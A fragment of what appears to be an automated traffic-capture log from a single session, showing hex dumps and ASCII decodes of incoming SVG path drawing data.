Ascii: cls-4" d="M1007.45,205.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M1007.69,212.24a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-07-27 19:54:07 UTC	2149	IN	Data Raw: 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 36 2e 39 33 2c 31 32 34 2e 34 32 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 37 37 2e 31 36 2c 31 33 31 2e 32 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 Data Ascii: .08,0,0,1-.15-2.81"></path><path class="cls-4" d="M976.93,124.42a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.38,2.38,0,0,1-.51,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M977.16,131.24a1.7,1.7,0,0,1,.77-2.2,2.4
2023-07-27 19:54:07 UTC	2165	IN	Data Raw: 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 39 2e 38 32 2c 32 33 34 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: -.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M959.82,234.37a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M
2023-07-27 19:54:07 UTC	2181	IN	Data Raw: 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 39 2e 33 2c 31 35 33 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: ,1,3.29.93,2.37,2.37,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M929.3,153.37a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><
2023-07-27 19:54:07 UTC	2197	IN	Data Raw: 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 32 2e 31 38 2c 32 36 33 2e 33 33 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c Data Ascii: 2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M912.18,263.33a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,
2023-07-27 19:54:07 UTC	2213	IN	Data Raw: 4d 38 38 31 2e 34 33 2c 31 37 35 2e 35 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 38 31 2e 36 36 2c 31 38 32 2e 33 33 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c Data Ascii: M881.43,175.5a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M881.66,182.33a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,
2023-07-27 19:54:07 UTC	2229	IN	Data Raw: 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 33 31 2c 32 38 35 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 35 34 2c 32 39 32 2e 32 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 Data Ascii: </path><path class="cls-4" d="M864.31,285.45a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M864.54,292.28a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93
2023-07-27 19:54:07 UTC	2245	IN	Data Raw: 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 33 2e 37 39 2c 32 30 34 2e 34 36 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 34 2c 32 31 31 2e 32 38 61 31 2e 37 2c 31 2e 37 2c Data Ascii: 0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M833.79,204.46a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M834,211.28a1.7,1.7,
2023-07-27 19:54:07 UTC	2261	IN	Data Raw: 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 33 2e 32 37 2c 31 32 33 2e 34 36 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 Data Ascii: 0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><path class="cls-4" d="M803.27,123.46a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M8
2023-07-27 19:54:07 UTC	2277	IN	Data Raw: 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 36 2e 31 35 2c 32 33 33 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 9.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M786.15,233.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"></path><path
2023-07-27 19:54:07 UTC	2293	IN	Data Raw: 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 32 2c 32 36 37 2e 33 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 31 2e 37 31 2c 32 35 39 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e Data Ascii: h class="cls-7" d="M522,267.3a1.91,1.91,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M521.71,259.58a1.91,1.91,0,0,1-.86,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.
2023-07-27 19:54:07 UTC	2373	IN	Data Raw: 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 34 31 2e 35 38 2c 31 35 30 2e 37 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: 2.66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M541.58,150.76a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path c
2023-07-27 19:54:07 UTC	2389	IN	Data Raw: 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 35 39 2c 32 35 37 2e 37 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 33 33 2c 32 35 30 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 Data Ascii: 8,3.17"></path><path class="cls-7" d="M576.59,257.72a1.91,1.91,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M576.33,250a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1
2023-07-27 19:54:07 UTC	2405	IN	Data Raw: 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 36 2e 32 2c 31 34 31 2e 31 38 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 Data Ascii: 1,2.69,2.69,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M596.2,141.18a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path
2023-07-27 19:54:07 UTC	2421	IN	Data Raw: 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2e 32 31 2c 32 34 38 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2c 32 34 30 2e 34 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c Data Ascii: lass="cls-7" d="M631.21,248.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"></path><path class="cls-7" d="M631,240.43a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.67,2.67,0,0,
2023-07-27 19:54:07 UTC	2437	IN	Data Raw: 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 35 30 2e 38 31 2c 31 33 31 2e 36 31 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: .05,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M650.81,131.61a1.92,1.92,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.34,2.34,0,0,1,.18,3.17"></path><path c
2023-07-27 19:54:07 UTC	2453	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 38 33 2c 32 33 38 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 35 37 2c 32 33 30 2e 38 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e Data Ascii: <path class="cls-7" d="M685.83,238.58a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M685.57,230.86a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.
2023-07-27 19:54:07 UTC	2469	IN	Data Raw: 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 30 35 2e 34 33 2c 31 32 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: .66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class="cls-7" d="M705.43,122a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class
2023-07-27 19:54:07 UTC	2485	IN	Data Raw: 34 30 2e 34 35 2c 32 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 34 30 2e 31 39 2c 32 32 31 2e 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 